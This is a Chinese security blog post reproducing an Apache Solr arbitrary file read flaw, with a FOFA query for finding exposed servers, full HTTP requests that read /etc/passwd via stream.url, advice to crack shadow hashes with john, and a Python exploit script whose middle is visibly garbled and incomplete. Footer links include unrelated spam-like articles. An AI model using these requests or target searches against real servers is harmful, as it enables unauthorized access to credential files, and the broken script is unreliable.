Apache Solr 全版本任意文件读取

访客4年前黑客工具958

0x01 漏洞说明

Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件

0x02 影响版本

全版本

0x03 漏洞复现

fofa搜索标题:app="Solr"?|| app=""Apache-Solr"

1616112024_6053e99806679b5ba4d19.png!small?1616112024111

环境配置

下载Solr进行解压缩:

https://solr.apache.org/downloads.html     #solr下载

进入Solr的bin目录执行命令:

https://www.freebuf.com/articles/web/solr strat

访问url,出现如下页面即为启动成功。

http://192.168.153.7:8983

1616113519_6053ef6f71b8ae1dd5af8.png!small?1616113519687

此时启动的solr是没有核心进行索引和搜索的。

https://www.freebuf.com/articles/web/solr create -c <name>   # 创建一个数据驱动模式的核心

漏洞复现

访问url:

http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=json

1616113796_6053f0844e91c3c1a23cd.png!small?1616113796588

burp数据包为:

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 84


1616114019_6053f1631b8c79fcf32ce.png!small?1616114019412

当出现"This response format is experimental.? It is likely to change in the future." 表示存在漏洞。

进行文件读取:

POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded

stream.url=file:///etc/passwd

1616114242_6053f242ad032bf1dee7d.png!small?1616114243661

也可以读取shadow文件然后进行john爆破出密码:

1616114363_6053f2bb23a0b64c482f0.png!small?1616114363991

1616114416_6053f2f0e1ae4059e4b9f.png!small?1616114417521

POC脚本:

(PeiQi师傅,永远的神!)

# coding=utf-8
# Apache Solr 全版本任意文件读取
# Fofa:app="Apache-Solr" || app="Solr"

import requests
import json
import sys
import time

def title():
    print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+")
    print("+~~~~~~ Apache Solr 全版本任意文件读取 ~~~~~~+")
    print("+~~~~~~     Use: python3 solr.py     ~~~~~~+")
    print("+~~~~~~   url: http://x.x.x.x:port   ~~~~~~+")
    print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+")
    time.sleep(2)

def get_name(url):
    url_1=url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        res=requests.get(url=url_1)
        #将json数据python字典话
        name=str(list(json.loads(res.text)["status"])[0])
        print("[!]  获取到目标系统name:\033[31m%s\033[0m"%name+"  [0]"+"URL:"+url+"/solr/"+name+"/config")
        return name
    except Exception as e:
        print("[!]  目标URL无法进行利用。",e)
        sys.exit(0)

def check_vul(url,name):
    url_2=url +"/solr/" + name + "/config"
    data='\033\0m".format(content))
    except Exception as e:
        print("[!]  目标系统似乎意外中断了",e)
        sys.exit(0)

if __name__=="__main__":
    title()
    url=str(input("
[!]  请输入目标系统URL: "))
    name=get_name(url)
    check_vul(url,name)
    file_name=str(input("[!]  请输入要读取的文件:"))
    read_files(url,name,file_name)

0x04 修复建议

由于目前官方不予修复该漏洞,暂无安全版本。

1. 开启身份验证/授权

2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问

3.禁止将Apache Solr放置在外网

结束语

本次复现是本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。

https://github.com/Henry4E36/Solr

参考文献

https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg

相关文章

好用的Google缝隙爬虫:Google Mass Explorer

这是一款根据谷歌搜索引擎的自动化爬虫。 爬虫介绍 爬虫大体机制便是: 先进行一次谷歌搜索,将成果解析为特定格局,然后再提供给exp运用。 我们能够测验运用–help来列出一切参数。 这个项目笔者会持...

查看姐妹微信聊天记录要如何查看到

. 经常听到的一句话就是:老二势必会比老大精,而且老二会比老大聪明很多,虽然从遗传学的角度来看并没有区别,但是依然还是受到一些因素的影响,那么为什么老二比老大聪明?下面友谊长存带来介绍。 老二比老...

cps是什么意思(cps结算是什么意思)

  cps代表什么意思(cps清算代表什么意思)广告联盟平台cps的含意便是根据市场销售商品来按分为来得到提成,是立即推广的广告宣传方式。在其中大伙儿最所熟识的应当便是淘宝客了,根据注册淘宝同盟变成淘...

央行辟谣转账超10万将被严查全文 大额现金管理的对象范围内容是什么

央行辟谣转账超10万将被严查全文 大额现金管理的对象范围内容是什么

7月1日,河北省全面开展大额现金管理试点工作。随后,网上便有消息称“转账超10万将被严查”,甚至有说法称“以后就算给妈妈转钱,也不要一次性转10万元以上”,引发公众热议。 对此,中国互联网联合辟...

云南食人魔张永明事宜,20多名青年被剔骨挖肉

雲南食人魔張永明事宜,20多名青年被剔骨挖肉看體育資訊,瞭解體育,瞭解天下。 各人曉得閉於雲北食人魔張永明變亂嗎,有20多名青年被剔骨挖肉,終極本人食用,吃沒有完的居然借當鴕鳥肉賣失踪,幾乎凶狠...

儿童节怎么过(六一怎么过比较有创意)

儿童节怎么过(六一怎么过比较有创意) 六一怎么过比较有创意 六一儿童节怎么庆祝过瘾孩子开心 六一儿童节是一个有趣并且有意义的节日,在儿童节的时候会有许多的庆祝活动,来庆祝节日的到来,那么2020六...